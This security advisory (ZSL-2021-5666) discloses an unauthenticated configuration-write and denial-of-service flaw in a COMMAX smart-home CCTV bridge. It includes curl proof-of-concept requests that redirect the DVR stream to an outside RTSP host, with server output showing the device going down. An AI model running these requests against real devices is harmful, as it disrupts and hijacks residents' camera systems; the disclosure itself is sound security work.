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## https://sploitus.com/exploit?id=PACKETSTORM:163852
COMMAX Smart Home Ruvie CCTV Bridge DVR Service Unauthenticated Config Write / DoS  
  
  
Vendor: COMMAX Co., Ltd.  
Prodcut web page: https://www.commax.com  
Affected version: n/a  
  
Summary: COMMAX Smart Home System is a smart IoT home solution for a large apartment  
complex that provides advanced life values and safety.  
  
Desc: The application allows an unauthenticated attacker to change the configuration  
of the DVR arguments and/or cause denial-of-service scenario through the setconf endpoint.  
  
Tested on: GoAhead-Webs  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2021-5666  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5666.php  
  
  
02.08.2021  
  
--  
  
  
#1  
  
$ curl -X POST http://192.168.1.1:8086/goform/setconf --data"manufacturer=Commax&Ch0=0&dvr0=rtsp%3A%2F%2Fadmin%3A1234zeroscience.mk%3A554%2FStream%2FCh01%3A554&dvr1=&dvr2=&dvr3=&dvr4=&dvr5=&dvr6=&dvr7=&dvr8=&dvr9=&dvr10=&dvr11=&dvr12=&dvr13=&dvr14=&dvr15=&dvr16=&dvr17=&dvr18=&dvr19=&dvr20=&dvr21=&dvr22=&dvr23=&ok=OK"  
  
* Trying 192.168.1.1...  
* TCP_NODELAY set  
* Connected to 192.168.1.1 (192.168.1.1) port 8086 (#0)  
> POST /goform/setconf HTTP/1.1  
> Host: 192.168.1.1:8086  
> User-Agent: curl/7.55.1  
> Accept: */*  
> Content-Length: 257  
> Content-Type: application/x-www-form-urlencoded  
>  
* upload completely sent off: 257 out of 257 bytes  
* HTTP 1.0, assume close after body  
< HTTP/1.0 200 OK  
< Server: GoAhead-Webs  
< Pragma: no-cache  
< Cache-control: no-cache  
< Content-Type: text/html  
<  
<html>  
<br><br><center><table><tr><td>Completed to change configuration! Restart in 10 seconds</td></tr></table></center></body></html>  
* Closing connection 0  
  
#2  
  
$ curl -v http://192.168.1.1:8086  
* Rebuilt URL to: http://192.168.1.1:8086/  
* Trying 192.168.1.1...  
* TCP_NODELAY set  
* connect to 192.168.1.1 port 8086 failed: Connection refused  
* Failed to connect to 192.168.1.1 port 8086: Connection refused  
* Closing connection 0  
curl: (7) Failed to connect to 192.168.1.1 port 8086: Connection refused